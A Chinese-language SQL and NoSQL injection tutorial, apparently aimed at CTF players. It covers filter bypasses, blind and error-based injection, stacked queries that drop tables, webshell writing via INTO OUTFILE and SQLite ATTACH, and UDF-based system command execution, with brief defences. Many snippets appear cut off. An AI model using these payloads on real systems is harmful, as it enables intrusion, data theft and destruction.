SQL 注入绕过与利用技术汇总
前言
SQL 注入是一类古老但至今仍然常见的高危漏洞。随着防御手段的不断升级,注入技巧也在持续演进——关键字被过滤、空格被拦截、报错回显被关闭,各种 WAF 层层设卡。本文从实战角度出发,系统性地整理了 SQL 注入中常见的绕过技巧、注入手段以及无回显场景的利用方法,覆盖 MySQL 与 SQLite,持续更新。
一、输出过滤绕过
服务端对查询结果做了字符替换(如把数字替换为空),可以通过嵌套 replace() 将敏感内容还原。
1 | select * from user where username='0' union select |
思路:先用
replace把数字替换成字母,输出后在客户端手动还原即可得到原始数据。
二、输入过滤绕过
遇到输入过滤,优先尝试大小写绕过,不行再换下面的招式。
2.1 注释符被 ban
| 方法 | 示例 |
|---|---|
| URL 编码 | %23(即 #) |
| 行内注释 | --+ 或 --%20 |
| 空白字符 | --%09(%01 ~ %09 逐个试) |
| 截断 | ;%00 截断后续 SQL |
2.2 空格被 ban
1 | # 方法一:注释替换 |
2.3 等号被 ban
like 绕过:
1 | select count(pass) from user where pass like 'flag{%'; |
% 相当于 shell 中的 *,可放前面。若引号也被 ban,用十六进制:
1 | select count(pass) from user where pass like (0x63746673686f777b25); |
regexp / rlike 绕过(两者用法相同):
1 | select * from user where password regexp '^flag'; |
2.4 where 被 ban
用 having 替代。having 必须在 group by 之后、order by 之前:
1 | SELECT COUNT(password) FROM user GROUP BY password HAVING password REGEXP '^fl'; |
2.5 数字被 ban
用布尔运算构造数字:true = 1,true+true = 2,以此类推。
1 | select count(password) from user group by pass having pass |
2.6 特殊 MD5:ffifdyop
原始明文 ffifdyop,经 MD5 哈希后的十六进制字符串以 'or' 开头(276f7227...),在弱类型比较时可用于绕过登录验证。
1 | select * from admin where password=''or'6<...>'; |
2.7 ascii 被 ban
- 优先换 **
ord()**,功能等价。 ord也 ban 了 → 直接字符比较(如substr(flag,1,1) > 'a')。
2.8 substr 被 ban
换 **left()、right()、mid()**。
1 | left(flag,1) -- 等价于 substr(flag,1,1) |
2.9 or / information 被 ban
不能查 information_schema 时,改用以下系统表:
| 替代表 | 说明 |
|---|---|
mysql.innodb_table_stats |
InnoDB 统计信息表,含库名和表名 |
sys.schema_table_statistics_with_buffer |
sys 库下的表统计 |
sys.x$schema_table_statistics_with_buffer |
同上,无格式化版本 |
sys.x$schema_flattened_keys |
扁平化键信息 |
2.10 sleep 被 ban
方法一:benchmark 延时
1 | benchmark(3000000, md5('lyz_dsy')) |
方法二:concat + rpad 构造正则灾难回溯(ReDoS)
1 | concat(rpad(1,999999,'a'), rpad(1,999999,'a'), rpad(1,999999,'a'), ...) |
方法三:笛卡尔积大表延时
1 | select count(*) from information_schema.columns A, information_schema.columns B; |
2.11 无列名查列
方法一:子查询别名
1 | -- 用数字占位列名 |
方法二:逐字节比较法
1 | (select 1,"{}") > (select * from f1ag_1s_h3r3_hhhhh) |
利用 MySQL 在比较不同列数的结果时逐列比对的行为,通过调整比较值逐字节泄露数据。
2.12 逗号被 ban
用 from ... for 语法代替 substr(str, start, len) 中的逗号:
1 | select substr(database() from 1 for 1); |
2.13 floor 被 ban
floor 报错注入被拦截时,换 round() 或 **ceil()**。
2.14 内联注释 — 终极绕过
MySQL 特性:/*!xxxxx*/ 内的内容在特定版本以上会被执行。可用于绕过一切关键字过滤:
1 | select * from user /*!50000union*//*!50000select*/ 1,2,3; |
注释内可填入任何被 ban 的关键字,WAF 大多不会递归解析注释内容。
2.15 with rollup 绕过
with rollup 在 group by 分组统计后额外追加一条 NULL 汇总行。利用 NULL 与空字符串相等的特性,可在特定逻辑下绕过认证。
2.16 宽字节注入
原理: 当数据库编码为 GBK / GB2312 时,PHP 的 addslashes() 会在 ' 前面加反斜杠 \(0x5c),形成 \'。但 GBK 编码中,第一个字节范围是 0x81-0xFE,第二个字节范围是 0x40-0xFE。0x5c 刚好落在第二字节范围内,所以 %df + %5c 会被 MySQL 解析为一个合法的 GBK 汉字 運,反斜杠被”吃掉”,后面的单引号也就逃逸出来了。
1 | 输入: %df' → addslashes → %df\' → GBK解析 → 運' (闭合成功) |
经典 payload:
1 | -- 测试闭合 |
哪些字节能吃掉 \:
0x5c 作为 GBK 第二字节的前提是第一个字节在 0x81-0xFE 之间。常用 %df,但 %81 ~ %fe 中任意一个都行,WAF 未必全封。
PHP 代码层面的成因:
1 | // 危险写法 |
修复方案:
1 | // 方法一:用 mysql_set_charset() 代替 SET NAMES |
关键区别:
SET NAMES 'gbk'只告诉 MySQL “我给你的是 GBK 编码”,不做任何编码转换;mysql_set_charset('gbk')会正确配置字符集转换层,更安全。
三、无回显利用
3.1 写 Shell
1 | select * from user where username='-1' union select 1,2,"<?php eval($_POST[1]);?>" |
3.2 报错注入(Error-Based)
无回显但有报错信息时,用报错函数带出数据。
updatexml:
1 | select updatexml(1, concat(0x7e, |
extractvalue:
1 | extractvalue(1, concat(0x7e, |
floor + group by 重复键报错:
1 | select 1 from ( |
3.3 布尔盲注
无报错、无回显时,利用页面行为的差异逐字符猜解数据。
1 | -- 二分法判断数据库名长度/内容 |
配合 group by + having 辅助:
1 | user group by pass having pass like 0x63746673686f777b25 |
3.4 时间盲注
连布尔差异都没有时,靠延时判断。MySQL 用 sleep / benchmark / rpad 正则,SQLite 用 randomblob + case...when(见 SQLite 章节)。
四、注入手段矩阵
4.1 联合查询注入(Union-Based)
1 | -- 基础模板 |
4.2 LIMIT 后报错注入
当注入点位于 LIMIT 子句时,可追加 PROCEDURE ANALYSE:
1 | -- $sql = select * from ctfshow_user limit ($page-1)*$limit, $limit; |
4.3 文件类型注入
利用文件名、文件内容等作为注入载体:
1 | -- 文件名注入 → 写 shell |
4.4 堆叠注入(Stacked Queries)
数据库驱动支持多条语句时,威力最大。
改表 + 万能密码:
1 | 1; update user set username=1, password=2; # |
删表重建:
1 | 1; drop table ctfshow_user; |
rename 表结构配合万能密码:
1 | 1'; rename table words to words1; |
预处理语句(拼接绕过):
1 | prepare myon from concat("sel","ect * from `ctfshow_flagasa`"); execute myon; |
HANDLER 读表(需已知表名):
1 | 1; handler ctfshow_flagasa open; handler ctfshow_flagasa read next; |
4.5 UPDATE 注入
1 | update ctfshow_user set pass = '{$password}' where username = '{$username}'; |
- 正常闭合: 在
$password处闭合引号注入。 - 转义逃逸:
password=&username=,username=(注入语句)#,利用参数顺序逃逸。
4.6 INTO OUTFILE 文件注入
1 | $sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';"; |
利用 INTO OUTFILE 的子句往文件写入 Webshell:
| 子句 | 作用 |
|---|---|
lines terminated by |
每行尾部追加内容 |
lines starting by |
每行头部追加内容 |
fields terminated by |
字段间分隔符 |
可组合使用,且支持十六进制编码绕过:
1 | -- 写 .user.ini 示例 |
技巧: 前后加换行符
0a,避免拼接错误。
4.7 GROUP 辅助注入
1 | select count(*) from ".$_POST['tableName']."; |
group by + having 可辅助布尔盲注:
1 | user group by pass having pass like 0x63746673686f777b25 |
4.8 UDF 提权注入
适用场景:具备写文件权限且 MySQL 版本 > 5.1,需要将 UDF 动态链接库写入插件目录。
步骤:
- 查版本和插件目录:
1 | 0'; select version(); %23 |
- 分块写入
.so文件(GET 请求有长度限制时拆分,这里是 64 位 lib_mysqludf_sys_64.so):
1 | -- 第一块 |
- 合并并写入最终
.so:
1 | 0'; select unhex(concat( |
- 创建函数并执行系统命令:
1 | 0'; create function sys_eval returns string soname 'myon.so' %23 |
| MySQL 版本 | 导出路径 |
|---|---|
| < 5.0 | 任意路径 |
| 5.0 ~ 5.1 | 系统目录(如 c:/windows/system32/) |
| > 5.1 | 必须导出到 lib/plugin/ 目录下 |
所用
.so文件通常来自 Metasploit 框架或 SQLMap 工具集。
4.9 二次注入(Second-Order SQL Injection)
原理: 攻击者将恶意 payload 存入数据库(第一步),此时经过 addslashes 或预编译后安全入库;但当这些数据在后续查询中被直接取出来拼接到另一条 SQL(第二步)时,不会再做转义,注入触发。
核心在于:数据入库时安全 ≠ 出库使用时安全。
流程示意:
1 | [用户输入] → addslashes 转义 → 存入 DB(原始 payload 被保留) |
经典场景一:注册恶意用户名 → 修改密码
1 | -- Step 1: 注册用户 admin'-- (单引号被转义后入库为 admin'--) |
经典场景二:注册时插入恶意数据 → 登录后触发
1 | -- Step 1: 注册用户时 name 填入 |
防御: 哪怕数据来自自己的数据库,拼接 SQL 前也必须参数化。别信任任何来源的字符串——包括从自己数据库取出来的。
4.10 表名/列名注入
当表名或列名动态拼接且不可预编译时(order by、select ... from $_GET['table']),可利用 INFORMATION_SCHEMA 盲注或报错注入。
1 | -- 未过滤的 order by 列名 |
五、SQLite 注入
5.1 核心差异
| 特性 | MySQL | SQLite |
|---|---|---|
| 系统表 | information_schema |
sqlite_master |
| 字符串函数 | mid, left, substr |
仅 substr |
| 条件分支 | if(cond, a, b) |
case when ... then ... else ... end |
| 延时函数 | sleep(n) / benchmark |
randomblob(N) |
| 注释符 | #, -- , /**/ |
-- , /* */(无 #) |
| 语句分隔 | 默认不允许堆叠 | 允许 ; 分隔多条语句 |
5.2 sqlite_master 查表
1 | -- 查所有表名 |
5.3 联合查询
1 | # 查字段数 |
5.4 布尔盲注
1 | -- 版本长度 |
5.5 时间盲注
1 | -- randomblob(1e9) 制造明显延时 |
5.6 写 Shell
SQLite 支持 ATTACH DATABASE 附加新数据库,可将 Webshell 写入 Web 目录:
1 | '; ATTACH DATABASE '/var/www/html/shell.php' AS shell; |
六、其他信息泄露
6.1 information_schema.ROUTINES
存储过程和函数的源码可能包含敏感信息(如 flag、密钥):
1 | -- 根据函数名查定义 |
6.2 NoSQL 注入
NoSQL(以 MongoDB + PHP 最常见)不使用 SQL 语句,而是用 JSON 结构的查询表达式。注入主要分两类:操作符注入和 JavaScript 注入。
6.2.1 背景:MongoDB 查询语法
PHP 后端常见的查询写法:
1 | // 危险:直接拼用户输入到查询数组 |
如果 $_GET['username'] 和 $_GET['password'] 不是字符串而是数组,PHP 会把它们原样传给 MongoDB 查询对象。
6.2.2 操作符注入(Operator Injection)
MongoDB 查询操作符以 $ 开头:$gt(大于)、$ne(不等于)、$regex(正则匹配)、$in(包含于)。
万能密码登录(PHP + MongoDB):
1 | # 传数组而非字符串 |
$regex 盲注:
1 | # 猜解用户名首字母 |
$gt 逐位爆破:
1 | username=admin&password[$gt]= |
6.2.3 JavaScript 注入($where)
$where 允许执行 JavaScript 表达式作为查询条件,如果拼接用户输入,可导致任意 JS 代码执行。
1 | // PHP 端 |
1 | // 攻击 payload: |
$where 下的盲注模板:
1 | // 布尔盲注 |
6.2.4 MongoDB 注入防御
1 | // 方法一:强制转换为字符串 |
6.2.5 其他 NoSQL 数据库
| 数据库 | 注入特征 |
|---|---|
| Redis | 无查询语言,主要利用 gopher 或 dict 协议配合 SSRF 写 crontab / SSH key |
| CouchDB | RESTful JSON API,注入点常在 _design 文档的 map/reduce 函数 |
| Cassandra | CQL 语法类似 SQL,同样存在拼接注入风险 |
| Elasticsearch | Query DSL 注入,利用脚本注入或特殊字符逃逸 |
总结
本文覆盖了 SQL 注入中的几大核心场景:
- 绕过技巧 — 从注释符到内联注释、宽字节注入等 16 种过滤绕过手法
- 无回显利用 — 写 shell / 报错注入 / 布尔盲注 / 时间盲注
- 注入手段 — 联合查询、堆叠、UPDATE、INTO OUTFILE、UDF 提权、二次注入、表名列名注入等
- SQLite 注入 — 从表结构探测到写 shell 的全链路
- NoSQL 注入 — MongoDB 操作符注入、$regex 盲注、$where JS 注入及防御
- 信息收集 — ROUTINES 表等常被忽略的敏感信息点
注入本质上是输入未正确参数化的问题。防御的最佳实践永远是预编译 + 白名单 + 最小权限。本文整理的手法主要用于 CTF / 授权渗透测试场景,请勿用于非法用途。
持续更新中,欢迎补充与指正。